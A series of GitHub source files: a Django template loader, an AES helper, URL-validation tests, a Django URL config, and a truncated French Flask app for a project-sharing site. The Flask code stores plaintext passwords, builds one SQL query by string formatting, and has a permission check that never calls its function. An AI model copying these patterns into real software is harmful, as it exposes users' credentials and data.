{"seq_id":"9747226202","text":"__copyright__ = \"Copyright 2017 Birkbeck, University of London\"\n__author__ = \"Martin Paul Eve & Andy Byers\"\n__license__ = \"AGPL v3\"\n__maintainer__ = \"Birkbeck Centre for Technology and Publishing\"\n\nimport errno\nimport io\nimport os\nimport warnings\n\nfrom django.conf import settings\nfrom django.core.exceptions import SuspiciousFileOperation\nfrom django.template import Origin, TemplateDoesNotExist\nfrom django.template.loaders.base import Loader as BaseLoader\nfrom django.utils._os import safe_join\nfrom django.utils.deprecation import RemovedInDjango20Warning\n\nfrom utils import setting_handler, function_cache, logic as utils_logic\n\n\nclass Loader(BaseLoader):\n\n    @staticmethod\n    @function_cache.cache(120)\n    def journal_theme(journal):\n        return setting_handler.get_setting('general', 'journal_theme', journal).value\n\n    @staticmethod\n    @function_cache.cache(120)\n    def base_theme(journal):\n        return setting_handler.get_setting('general', 'journal_base_theme', journal).value\n\n    def get_theme_dirs(self):\n        from core import models as core_models\n        request = utils_logic.get_current_request()\n        base_theme, theme_setting = None, None\n\n        if request:\n            if request.journal:\n                # this is a journal and we should attempt to retrieve any theme settings\n                try:\n                    theme_setting = self.journal_theme(request.journal)\n                except core_models.Setting.DoesNotExist:\n                    pass\n\n                try:\n                    base_theme = self.base_theme(request.journal)\n                except core_models.Setting.DoesNotExist:\n                    pass\n\n            elif request.repository:\n                # only the material theme supports repositories at the moment.\n                theme_setting = 'material'\n            else:\n                # this is the press site\n                theme_setting = request.press.theme\n\n        # allows servers in debug mode to override the theme with ?theme=name in the URL\n        if settings.DEBUG and request and request.GET.get('theme'):\n            theme_setting = request.GET.get('theme')\n\n        # order up the themes and return them with engine dirs\n        themes_in_order = list()\n\n        if theme_setting:\n            themes_in_order.append(\n                os.path.join(settings.BASE_DIR, 'themes', theme_setting, 'templates')\n            )\n        if base_theme:\n            themes_in_order.append(\n                os.path.join(settings.BASE_DIR, 'themes', base_theme, 'templates')\n            )\n\n        # if the base_theme and INSTALLATION_BASE_THEME are different,\n        # append the INSTALLATION_BASE_THEME.\n        if not base_theme == settings.INSTALLATION_BASE_THEME:\n            themes_in_order.append(\n                os.path.join(settings.BASE_DIR, 'themes', settings.INSTALLATION_BASE_THEME, 'templates')\n            )\n\n        return themes_in_order + self.engine.dirs\n\n    def get_dirs(self):\n        return self.get_theme_dirs()\n\n    def get_contents(self, origin):\n        try:\n            with io.open(origin.name, encoding=self.engine.file_charset) as fp:\n                return fp.read()\n        except IOError as e:\n            if e.errno == errno.ENOENT:\n                raise TemplateDoesNotExist(origin)\n            raise\n\n    def get_template_sources(self, template_name, template_dirs=None):\n        \"\"\"\n        Return an Origin object pointing to an absolute path in each directory\n        in template_dirs. For security reasons, if a path doesn't lie inside\n        one of the template_dirs it is excluded from the result set.\n        \"\"\"\n        if not template_dirs:\n            template_dirs = self.get_dirs()\n        for template_dir in template_dirs:\n            try:\n                name = safe_join(template_dir, template_name)\n            except SuspiciousFileOperation:\n                # The joined path was located outside of this template_dir\n                # (it might be inside another one, so this isn't fatal).\n                continue\n\n            yield Origin(\n                name=name,\n                template_name=template_name,\n                loader=self,\n            )\n\n    def load_template_source(self, template_name, template_dirs=None):\n        warnings.warn(\n            'The load_template_sources() method is deprecated. Use '\n            'get_template() or get_contents() instead.',\n            RemovedInDjango20Warning,\n        )\n        for origin in self.get_template_sources(template_name, template_dirs):\n            try:\n                return self.get_contents(origin), origin.name\n            except TemplateDoesNotExist:\n                pass\n        raise TemplateDoesNotExist(template_name)\n","repo_name":"sissamedialab/janeway","sub_path":"src/utils/template_override_middleware.py","file_name":"template_override_middleware.py","file_ext":"py","file_size_in_byte":4726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"}
{"seq_id":"8603273940","text":"\nfrom Cryptodome.Cipher import AES\nfrom Cryptodome.Util.Padding import pad, unpad\nfrom Cryptodome.Random import get_random_bytes\nfrom Cryptodome.Hash import SHA3_256\nfrom base64 import b64encode, b64decode\n\nIV_RANDOM_BYTE_COUNT = 8\n\n\nclass CipherHelper:\n\n    def __init__(self, key_file):\n        '''\n        Creates a new instance of a CipherHelper using the key written in The\n        file specified in key_file.\n        Uses a AES cipher and uses the file's SHA3 hash to generate a 32 bytes\n        key\n        '''\n        with open(key_file, 'rb') as f:\n            self.key = SHA3_256.new().update(f.read()).digest()\n\n    def generate_iv(self, random_bytes):\n        '''\n        Generates the IV from the key and a byte string\n\n        Returns 16 bytes representing the IV\n        '''\n        hash = SHA3_256.new().update(random_bytes+self.key).digest()\n        # Only return as many bytes as the AES block size\n        return hash[0:AES.block_size]\n\n    def encrypt(self, message):\n        '''\n        Takes a message as a string and returns the encrypted message as a\n        string.\n        Uses AES in CBC mode together with PKCS7 padding.\n        The IV is generated using a number random bytes specified in\n        IV_RANDOM_BYTE_COUNT and the key.\n\n        Returns encrypted message\n        '''\n        random_bytes = get_random_bytes(IV_RANDOM_BYTE_COUNT)\n        iv = self.generate_iv(random_bytes)\n        cipher = AES.new(self.key, AES.MODE_CBC, iv)\n        padded_msg = pad(message.encode('utf-8'), AES.block_size)\n        enc_msg = cipher.encrypt(padded_msg)\n        return b64encode(enc_msg + random_bytes).decode('utf-8')\n\n    def decrypt(self, message):\n        '''\n        Takes an encrypted message and returns the original message as a\n        string.\n\n        Returns the original message\n        '''\n        encrypted_msg = b64decode(message)\n        # last bytes are the bytes used to generate the IV\n        random_bytes = encrypted_msg[-IV_RANDOM_BYTE_COUNT:]\n        encrypted_msg = encrypted_msg[:-IV_RANDOM_BYTE_COUNT]\n\n        iv = self.generate_iv(random_bytes)\n        cipher = AES.new(self.key, AES.MODE_CBC, iv)\n        dec_msg = cipher.decrypt(encrypted_msg)\n        unpadded_msg = unpad(dec_msg, AES.block_size)\n        return unpadded_msg.decode('utf-8')\n","repo_name":"faisal07m/testing_breaker","sub_path":"6/build/cipher.py","file_name":"cipher.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28744934157","text":"import pytest\n# import requests_mock\n\nfrom page_analyzer.html import (\n    normalize_url,\n    validate_url,\n    # get_page_data,\n)\n\n\n@pytest.mark.parametrize(\n    'url_entered, url_name',\n    [\n        ('https://ru.hexlet.io/courses/python-basics',\n         'https://ru.hexlet.io'),\n        ('https://translate.google.com/?hl=ru&sl=ru&tl=en&op=translate',\n         'https://translate.google.com'),\n    ]\n)\ndef test_normalize_url(url_entered, url_name):\n    url_parsed = normalize_url(url_entered)\n    assert url_name == url_parsed\n\n\nclass TestValidateUrl:\n    urls = [\n        ('htp://sorry.jo', 'https://yandex.ru'),\n        ('http://benq,ru', 'https://github.com'),\n    ]\n    empty_url = ''\n    not_empty_url = 'https://mail.ru'\n    too_long_url = 'o' * 256\n    short_url = 'https://itisshorturl.com'\n\n    @pytest.mark.parametrize('url_incorrect, url_correct', urls)\n    def test_validate_incorrect_url(self, url_incorrect, url_correct):\n        assert ('Некорректный URL', 'danger') in validate_url(url_incorrect)\n        assert ('Некорректный URL', 'danger') not in validate_url(url_correct)\n\n    def test_validate_empty_url(self):\n        assert ('URL обязателен', 'danger') in validate_url(self.empty_url)\n        assert ('URL обязателен', 'danger') not in validate_url(self.not_empty_url)\n\n    def test_validate_too_long_url(self):\n        assert ('URL превышает 255 символов', 'danger') in validate_url(self.too_long_url)\n        assert ('URL превышает 255 символов', 'danger') not in validate_url(self.short_url)\n\n\nclass TestGetPageData:\n    fixture_page = './tests/fixtures/page.html'\n    page_url = 'https://ru.hexlet.io'\n    expected_page_data = {\n        'status_code': 200,\n        'h1': 'Test h1',\n        'title': 'Test title',\n        'description': 'Test content',\n    }\n\n    # def test_get_page_data1(self):\n    #     with open(self.fixture_page) as fp:\n    #         current_page = fp.read()\n    #     with requests_mock.Mocker() as mock:\n    #         mock.get(\n    #             self.page_url,\n    #             text=current_page\n    #         )\n    #         current_data = get_page_data(self.page_url)\n    #\n    #     assert self.expected_page_data == current_data\n","repo_name":"serVmik/python-project-83","sub_path":"tests/test_html.py","file_name":"test_html.py","file_ext":"py","file_size_in_byte":2267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"334426625","text":"from django.urls import path\nfrom . import views\n\napp_name = 'posts'\nurlpatterns = [\n    path('', views.HomeListView.as_view(), name='home'),\n    path('post/<int:pk>/', views.PostDetailView.as_view(), name='detail'),\n    path('post/new/', views.PostCreateView.as_view(), name='new'),\n    path('post/<int:pk>/delete/', views.DeletePost.as_view(), name='delete'),\n    path('post/<int:pk>/edit/', views.EditPost.as_view(), name='edit' ),\n    path('home/register/', views.HomeRegister, name='home_register')\n    \n]\n\n\n    # non class based example\n    # path('', views.home_view, name='home')","repo_name":"PdxCodeGuild/class_olive","sub_path":"code/matt/notes/Django/Blog_(Users)_Example/blog_project/posts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"43413598307","text":"import sqlite3\nimport os \nfrom flask import Flask, render_template, request, url_for,redirect,flash,session\nimport datetime\nfrom recommandation import recommandation\nfrom werkzeug.utils import secure_filename\nimport time\n\n\n\n\napp = Flask(__name__)\n\n@app.context_processor\ndef handle_context():\n    return dict(os=os)\n    \napp.config[\"SESSION_PERMANENT\"]=False\napp.config[\"SESSION_TYPE\"]=\"file_system\"\napp.config[\"IMAGE_UPLOADS\"] = \"static/img/uploads\"\napp.config[\"ALLOWED_IMAGE_EXTENSIONS\"] = [\"JPEG\", \"JPG\", \"PNG\", \"GIF\"]\n\napp.secret_key=os.urandom(12)\n\n#vérifie si le fichier fournis est une image\ndef allowed_image(filename):\n\n    if not \".\" in filename:\n        return False\n\n    ext = filename.rsplit(\".\", 1)[1]\n\n    if ext.upper() in app.config[\"ALLOWED_IMAGE_EXTENSIONS\"]:\n        return True\n    else:\n        return False\n\n#vérifie si l'id du sub est valide\ndef test_id_sub(id):\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     cursor.execute(\"\"\" SELECT description FROM subs WHERE numéro_projet=?\"\"\",(id,))\n     test=cursor.fetchall()\n     db.close()\n     if test!=[]:\n          return True\n     else: \n          return False\n     \n#vérifie qu'un utilisateur est bien connecter\ndef test_login():\n     if session.get(\"id\")!=None:\n          return True\n     else:\n          return False\n\n#vérifie si l'utilisateurs est validé par un admin   \ndef test_verif():\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     cursor.execute(\"\"\" SELECT niveau FROM utilisateurs WHERE id_user=?\"\"\",(str(session.get('id')),))\n     test=cursor.fetchall()[0][0]\n     db.close()\n     if test=='B':\n          return False\n     else:\n          return True\n\n\n#vérifie si l'utilisateurs possède le sub connect\ndef is_owner(id,user):\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     cursor.execute(\"\"\" SELECT * FROM subs WHERE numéro_projet=? AND créé_par=?\"\"\",(id,user))\n     test=cursor.fetchall()\n     db.close()\n     if test!=[]:\n          return True\n     else: \n          return False\n\n#verifie que l'id du commentaire existe\ndef com_existe(id):\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     cursor.execute(\"\"\" SELECT * FROM posts WHERE id_post=?\"\"\",(id,))\n     test=cursor.fetchall()\n     db.close()\n     if test!=[]:\n          return True\n     else: \n          return False\n\n#verifie que l'id du post existe\ndef post_existe(id):\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     cursor.execute(\"\"\" SELECT * FROM commentaires WHERE id_commentaire=?\"\"\",(id,))\n     test=cursor.fetchall()\n     db.close()\n     if test!=[]:\n          return True\n     else: \n          return False\n\n#verifie si l'utilisateur est abonné au sub donnée\ndef est_abonne(id,user):\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     cursor.execute(\"\"\" SELECT * FROM abonnements WHERE sub=? AND utilisateur=?\"\"\",(id,user))\n     test=cursor.fetchall()\n     db.close()\n     if test!=[]:\n          return True\n     else: \n          return False\n\n#verifie si l'utilisateur participe au sub donnée\ndef est_participant(id,user):\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     cursor.execute(\"\"\" SELECT * FROM participants WHERE sub=? AND utilisateur=?\"\"\",(id,user))\n     test=cursor.fetchall()\n     db.close()\n     if test!=[]:\n          return True\n     else: \n          return False\n\n#verifie si l'utilisateur a demandé à participer au sub donnée\ndef a_demande(id,user):\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     cursor.execute(\"\"\" SELECT * FROM demande_participation WHERE sub=? AND utilisateur=?\"\"\",(id,user))\n     test=cursor.fetchall()\n     db.close()\n     if test!=[]:\n          return True\n     else: \n          return False\n\n#verifie que si l'utilisateurs connecté a deja liké le commentaire\ndef commentaire(id_com,user):\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     cursor.execute(\"SELECT id_voteur FROM Vote_com WHERE id_com=?\",(id_com,))\n     likeur=cursor.fetchall()\n     if likeur!=[]:\n          if (user,) not in likeur:\n               db.close()\n               return (True,True)\n          else:\n               cursor.execute(\"SELECT val FROM Vote_com WHERE id_com=? AND id_voteur=?\",(id_com,str(user)))\n               val=cursor.fetchall()\n               db.close()\n               if val[0][0]=='P':\n                    return (False,True)\n               else:\n                    return (True,False)\n     else: \n          db.close()\n          return (True,True)\n\n#verifie que si l'utilisateurs connecté a deja liké le post\ndef likepost(id_post,user):\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     cursor.execute(\"SELECT id_voteur FROM Vote_post WHERE id_post=?\",(id_post,))\n     likeur=cursor.fetchall()\n     if likeur!=[]:\n          if (user,) not in likeur:\n               db.close()\n               return (True,True)\n          else:\n               cursor.execute(\"SELECT val FROM Vote_post WHERE id_post=? AND id_voteur=?\",(id_post,str(user)))\n               val=cursor.fetchall()\n               db.close()\n               if val[0][0]=='P':\n                    return (False,True)\n               else:\n                    return (True,False)\n     else: \n          db.close()\n          return (True,True)\n\n\n#acceuil ou page de connexion\n@app.route('/')\ndef login():\n     if not session.get(\"id\"):\n          return render_template('login.html', message=1)\n     else:\n          return redirect('/accueil')\n\n#Essaye de connecter avec les données rentrés\n@app.route('/connect',methods=['post'])\ndef connect():\n     form_data=request.form.to_dict()\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     cursor.execute(\"\"\" SELECT mdp FROM utilisateurs WHERE mail=?\"\"\",(str(form_data['username']),))\n     verif=cursor.fetchall()\n     if verif!=[]:\n          if verif[0][0]==str(form_data['password']):\n               cursor.execute(\"\"\" SELECT id_user,nom,prénom,mail FROM utilisateurs WHERE mail=?\"\"\",(str(form_data['username']),))\n               id=cursor.fetchall()\n               db.close()\n               session['id']=id[0][0]\n               session['nom']=id[0][1]\n               session['prénom']=id[0][2]\n               session['username']=id[0][3]\n               session['password']=verif\n               return redirect('/accueil')\n          else:\n               db.close()\n               return render_template('login.html',message=str('Votre mail et/ou votre mot de passe sont erronés, veuillez réessayer'))\n     else:\n          db.close()\n          return render_template('login.html',message=str('Votre mail et/ou votre mot de passe sont erronés, veuillez réessayer'))\n     \n#la age d'enregistrement\n@app.route('/register')\ndef register():\n     return render_template('register.html',message=1)\n\n#rentre le nouvel utilisateur\n@app.route('/enregistrement',methods=['get','post'])\ndef enregistre():\n     if request.method == 'POST':\n          form=request.form.to_dict()\n          db = sqlite3.connect('database.db')\n          cursor = db.cursor()\n          cursor.execute(\"\"\" SELECT nom FROM utilisateurs WHERE mail=?\"\"\",(str(form['mail']),))\n          verif=cursor.fetchall()\n          if verif!=[]:\n               db.close()\n               return render_template('register.html',message='mail déjà utilisé')\n          else:\n               cursor.execute(\"\"\" INSERT INTO utilisateurs(nom,prénom,mail,mdp,Niveau) values(?,?,?,?,?)\"\"\",(str(form['nom']),str(form['prénom']),str(form['mail']),str(form['mdp']),'B'))\n               db.commit()\n               db.close()\n               return redirect('/')\n     else:\n          return redirect('/')\n\n\n# Route lié à la page d'accueil qui affiche le fil d'actualités\n@app.route('/accueil')\ndef accueil():\n     # Sélection des posts liés aux projets abonnés et créés par l'utilisateur, tri par ordre décroissant de date de création\n     query = \"SELECT DISTINCT nom,titre,posts.description,id_sub,posts.date_creation,id_post FROM subs JOIN posts JOIN abonnements WHERE Numéro_projet = id_sub AND (utilisateur=? AND sub=id_sub OR créé_par= ?) ORDER BY date_creation DESC\"\n     db = sqlite3.connect('database.db')\n     cursor = db.cursor()\n     id_user = session.get('id')\n     cursor.execute(query,(id_user,id_user))\n     L = cursor.fetchall()\n     comments={}\n     like={}\n     for row in L:\n          idpost=row[5]\n          cursor.execute('SELECT contenu,nom,prénom,upvote,id_commentaire FROM commentaires JOIN utilisateurs WHERE id_post=? AND posté_par=id_user ORDER BY upvote DESC' ,(idpost,))\n          données=cursor.fetchall() \n          cursor.execute('''SELECT ratio FROM posts WHERE id_post=? ''',(idpost,))\n          like[idpost]=[likepost(idpost,session.get('id')),cursor.fetchall()[0][0]]  \n          if données!=[]:\n               comments[idpost]=données\n               for i in range(len(données)):\n                    données[i]+=(commentaire(données[i][4],session.get('id')),) \n          else:\n               comments[idpost]=[]\n     db.close()\n     os.path.isfile(\"static/img/uploads/\")\n     return render_template('accueil.html',data = L,comments=comments,like=like)\n\n#form de création d'un sub\n@app.route('/form')\ndef form():\n     if test_verif:\n          return render_template('sub.html')\n     else:\n          return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\")     \n\n#app route de parcourir\n@app.route('/parcourir')\ndef parcourir():\n     db='database.db'\n     con=sqlite3.connect(db)\n     cur=con.cursor()\n     cur.execute(\"SELECT * FROM subs ORDER BY création DESC;\")\n     L=cur.fetchall()\n     con.close()\n     return render_template('parcourir.html',data=L)\n\n#rentre le sub dans la base de donnée et renvoie vers l'acceuil\n@app.route('/post',methods=['post'])\ndef post():\n     if test_login():\n          if test_verif():\n               form_data=request.form.to_dict()\n               db = sqlite3.connect('database.db')\n               cursor = db.cursor()\n               id=session.get('id')\n               cursor.execute(\"\"\"\n               INSERT INTO subs(nom,créé_par,mots_clés,description,création) values(?,?,?,?,?)\"\"\",(str(form_data['name']),id,str(form_data['domaine']),str(form_data['description']),datetime.date.today()))\n               db.commit()\n               db.close()\n               return redirect('/')\n          else:\n               return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\") \n     else:\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n\n#lance le form de recherche\n@app.route('/search', methods=['GET', 'POST'])\ndef recherche():\n    search = request.form.to_dict()\n    if request.method == 'POST':\n        return search_results(search)\n    return render_template('resultat.html', form=search)\n\n#lance l'algorithme de recherche\n@app.route('/results')\ndef search_results(search):\n     resultat = []\n     search_str = search['Search']\n     subs = sqlite3.connect('database.db')\n     cursor = subs.cursor()\n     cursor.execute(\"\"\"SELECT * FROM subs\"\"\")\n     contenu=cursor.fetchall()\n     resultat=[]\n     for row in contenu:\n          if search_str in row[0] or search_str in row[3]:\n               date=row[5].split('-')\n               Y=int(date[0])\n               M=int(date[1])\n               D=int(date[2])\n               resultat.append(row[:-1]+(str((datetime.date.today()-datetime.date(Y,M,D)).days)+' days ago',))\n               \n     subs.close()\n     if not resultat:\n         return render_template('resultat.html',resultat='')\n     else:\n         return render_template('resultat.html', resultat=resultat)\n\n#lance et affiche le resultat de l'algorithme de recommandation\n@app.route('/recommandation')\ndef recom():\n     if test_login():\n          if test_verif():\n               db = sqlite3.connect('database.db')\n               cursor = db.cursor()\n               cursor.execute(\"SELECT sub FROM abonnements INNER JOIN subs ON abonnements.sub=subs.numéro_projet WHERE utilisateur=?\",(str(session.get(\"id\")),))\n               abonnement=cursor.fetchall()\n               cursor.execute(\"SELECT numéro_projet FROM subs WHERE créé_par=?\",(str(session.get(\"id\")),))\n               abonnement+=cursor.fetchall()\n               total={}\n               for i in range(len(abonnement)):\n                    abonnement[i]=abonnement[i][0]\n               for i in range(len(abonnement)):\n                    temp=recommandation(abonnement[i])\n                    for j in range(len(temp)):\n                         if temp[j][0] not in abonnement:\n                              if temp[j][0] in total:\n                                   total[temp[j][0]]+=temp[j][1]\n                              else:\n                                   total[temp[j][0]]=temp[j][1]\n               result=list(sorted(total.items(), key=lambda item: item[1],reverse=True))\n               data=[]\n               for g in range(len(result)):\n                    cursor.execute(\"SELECT * FROM subs WHERE numéro_projet=?\",(result[g][0],))\n                    data.append(cursor.fetchall()[0]+(result[g][1],g+1))\n               db.close()\n               return render_template('recommandation.html',data=data)\n          else:\n               return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\") \n     else:\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n#lance la page du sub \n@app.route('/sub/<id>')\ndef viewsub(id):\n     if test_login():\n          db = sqlite3.connect('database.db')\n          cursor = db.cursor()\n          if test_id_sub(id):\n               # Récupération des données liées au projet (nom,description, créateur, nombre d'abonnés, participants...)\n               cursor.execute(\"SELECT subs.nom,description,créé_par,utilisateurs.nom,prénom FROM subs JOIN utilisateurs WHERE numéro_projet=%s AND id_user=créé_par;\" % id)\n               data = cursor.fetchall()\n               cursor.execute(\"SELECT COUNT(*) FROM abonnements WHERE sub=?\",(id,))\n               nb_abonnes = cursor.fetchall()[0]\n               cursor.execute(\"SELECT utilisateur,nom,prénom FROM participants JOIN utilisateurs WHERE id_user=utilisateur AND sub=?\",(id,))\n               liste_participants=cursor.fetchall()\n               user_id = session.get('id')\n               # Définition de l'état de l'utilisateur vis-à-vis du projet\n               owner = is_owner(id,user_id)\n               abonne = est_abonne(id,user_id)\n               participant = est_participant(id,user_id)\n               demande = a_demande(id,user_id)\n               db.close()\n               return render_template('viewsub.html',data=data,id=id,owner=owner,abonne=abonne,nb_abonnes=nb_abonnes,participant=participant,demande=demande,liste_participants=liste_participants)\n          else:\n               db.close()\n               return redirect('/')\n     else:\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n#Route lié au bouton s'abonner du projet de numéro 'id'\n@app.route(\"/<id>/abonnement\")\ndef abonnement(id):\n     if test_login() :\n          if test_verif():\n               if test_id_sub(id):\n                    user = session.get('id')\n                    if not is_owner(id,user) and not est_abonne(id,user):\n                         db = sqlite3.connect('database.db')\n                         cursor = db.cursor()\n                         cursor.execute(\"INSERT INTO abonnements(sub,utilisateur) VALUES (?,?);\",(id,session.get('id')))\n                         db.commit()\n                         db.close()\n                         return redirect(url_for('viewsub',id=id))\n                    else:\n                         return render_template('erreur.html',message=\"Impossible de s'abonner\",description=\"Vous êtes déjà abonné ou bien alors c'est votre projet\")\n               else :\n                    return redirect('/')\n          else:\n               return render_template('erreur.html',message=\"Accès refusé\",description=\"Vous n'avez pas les droits d'accès nécessaires\") \n     else:\n          return redirect('/')\n\n\n# Route liée au bouton se désabonner du projet de numéro 'id'\n@app.route('/<id>/desabonnement')\ndef desabonnement(id):\n     if test_login():\n          if test_verif():\n               if test_id_sub(id):\n                    user = session.get('id')\n                    if est_abonne(id,user):\n                         db = sqlite3.connect('database.db')\n                         cursor = db.cursor()\n                         cursor.execute(\"DELETE FROM abonnements WHERE sub=? AND utilisateur = ?;\",(id,user))\n                         if a_demande(id,user):\n                              cursor.execute(\"DELETE FROM demande_participation WHERE sub=? AND utilisateur = ?;\",(id,user))\n                         elif est_participant(id,user):\n                              cursor.execute(\"DELETE FROM participants WHERE sub=? AND utilisateur = ?;\",(id,user))     \n                         db.commit()\n                         db.close()\n                         return redirect(url_for('viewsub',id=id))\n                    else :\n                         return render_template('erreur.html',message=\"Impossible de se désabonner\",description=\"Vous n'êtes pas abonné ou bien c'est votre projet\")\n\n               else :\n                    return redirect('/')\n          else:\n               return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\") \n     else:\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n\n# Route liée au bouton Participer du projet n° 'id'\n@app.route('/<id>/demande_participation')\ndef demande_participation(id):\n     if test_login():\n          if test_verif():\n               if test_id_sub(id):\n                    user = session.get('id')\n                    if not a_demande(id,user) and not is_owner(id,user) and est_abonne(id,user):\n                         db = sqlite3.connect('database.db')\n                         cursor = db.cursor()\n                         cursor.execute(\"INSERT INTO demande_participation(sub,utilisateur) VALUES (?,?)\",(id,session.get('id')))\n                         db.commit()\n                         db.close()\n                         return redirect(url_for('viewsub',id=id))\n                    else:\n                         return render_template('erreur.html',message=\"Impossible de demander à participer au projet\",description=\"Vous n'êtes pas abonné ou bien c'est votre projet ou vous avez déjà fait une demande\")\n\n               else :\n                    return redirect('/')\n          else:\n               return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\") \n     else:\n          return render_template('erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n# Route liée au bouton Ne plus participer du projet n° 'id'\n@app.route('/<id>/annuler_participation')\ndef annuler_participation(id):\n     if test_login():\n          if test_verif():\n               if test_id_sub(id):\n                    user = session.get('id')\n                    if est_participant(id,user):\n                         db = sqlite3.connect('database.db')\n                         cursor = db.cursor()\n                         cursor.execute(\"DELETE FROM participants WHERE sub=? AND utilisateur=?\",(id,user))\n                         db.commit()\n                         db.close()\n                         return redirect(url_for('viewsub',id=id))\n                    else :\n                         return render_template('erreur.html',message=\"Impossible d'annuler sa participation au projet\",description=\"Vous ne participez pas au projet ou bien c'est votre projet\")\n\n               else :\n                    return redirect('/')\n          else:\n               return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\") \n     else:\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n\n\n# Route liée à l'onglet Post du projet n° 'id'\n@app.route('/sub/<id>/post')\ndef viewpost(id):\n     if test_login():\n          if test_id_sub(id):\n               db = sqlite3.connect('database.db')\n               cursor = db.cursor()\n               query = '''SELECT id_post,titre,description,id_sub,date_creation FROM posts WHERE id_sub=? ORDER BY date_creation;'''\n               cursor.execute(query,(id,))\n               L =(cursor.fetchall(),id)\n               comments={}\n               like={}\n               for row in L[0]:\n                    idpost=row[0]\n                    cursor.execute('SELECT contenu,nom,prénom,upvote,id_commentaire FROM commentaires JOIN utilisateurs WHERE id_post=? AND posté_par=id_user ORDER BY upvote DESC' ,(idpost,))\n                    données=cursor.fetchall()\n                    cursor.execute('''SELECT ratio FROM posts WHERE id_post=? ''',(idpost,))\n                    like[idpost]=[likepost(idpost,session.get('id')),cursor.fetchall()[0][0]]\n                    if données!=[]:\n                         comments[idpost]=données\n                         for i in range(len(données)):\n                              données[i]+=(commentaire(données[i][4],session.get('id')),) \n                    else:\n                         comments[idpost]=[]\n               db.close()\n               user = session.get('id')\n               abonne = est_abonne(id,user)\n               owner = is_owner(id,user)\n               participant = est_participant(id,user)\n               os.path.isfile(\"static/img/uploads/\")\n               return render_template('viewpost.html', data=L,comments=comments,id=id,abonne=abonne,owner=owner,participant=participant,like=like)\n          else:\n               return redirect('/')\n     else:\n          return render_template('/erreur.html',message=\"Vous n'êtes pas connecté\",description='Votre session a expiré ou vous ne vous êtes pas connecté')\n\n\n# Route liée au bouton Créer un nouveau post dans l'onglet Post du projet n° 'id'\n@app.route('/sub/<id>/creationpost')\ndef newpost(id):\n     if test_verif():\n          if test_id_sub(id):\n               user = session.get('id')\n               if is_owner(id,user) or est_participant(id,user):\n                    return render_template('newpost.html',data=id)\n               else:\n                    return render_template('erreur.html',message=\"Impossible de créer un post\",description=\"Vous ne participez pas au projet ni n'êtes son créateur\")        \n          else:\n               return redirect('/')\n     else:\n          return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\") \n     \n\n# Route liée au form pour créer un nouveau post lié au projet n° 'id'\n@app.route('/postsub/<id>',methods = ['GET','POST'])\ndef postsub(id):\n     if test_verif():\n          titre = request.form['titre']\n          description = request.form['description']\n          db = sqlite3.connect('database.db')\n          cursor = db.cursor()\n          if test_id_sub(id):\n               if request.method=='POST':\n                    cursor.execute(\"INSERT INTO posts(id_sub,titre,description,date_creation,ratio) values(?,?,?,?,?)\",(id,titre,description,datetime.date.today(),0))\n                    cursor.execute(\"SELECT max(id_post) FROM posts\")\n                    idpost=cursor.fetchall()\n                    db.commit()\n                    db.close()\n                    if \"image\" in request.files:\n                         image = request.files[\"image\"]\n                         split_tup = os.path.splitext(image.filename)\n                         file_extension = split_tup[1]\n                         if image.filename == \"\":\n                              #\"pas de nom\"\n                              return redirect('/sub/'+str(id)+'/creationpost')\n\n                         if allowed_image(image.filename):\n                              image.save(os.path.join(app.config[\"IMAGE_UPLOADS\"], str(idpost[0][0])))\n                              #\"image sauvegardé\"\n                              return redirect('/sub/'+str(id)+'/creationpost')\n                         \n                         else:\n                              #\"type de fichier non supporté\"\n                              return redirect('/sub/'+str(id)+'/creationpost')\n                    return redirect('/sub/'+str(id)+'/creationpost')\n               return render_template('newpost.html')\n          else:\n               db.close()\n               return redirect('/')\n     else:\n          return render_template('erreur.html',message=\"Accès refusé\",description=\"vous n'avez pas les droits d'accès nécessaires\") \n    \n     \n\n# Route liée au bouton Like sur un post d'id_post = 'id'\n@app.route('/<id>/ajoutcompteur')\ndef updatecompteurpostpositif(id):\n     if test_verif():\n          db = sqlite3.connect('database.db')\n          cursor = db.cursor()\n          cursor.execute(\"SELECT id_sub FROM posts WHERE id_post= ?\",(id,))\n          id_sub = 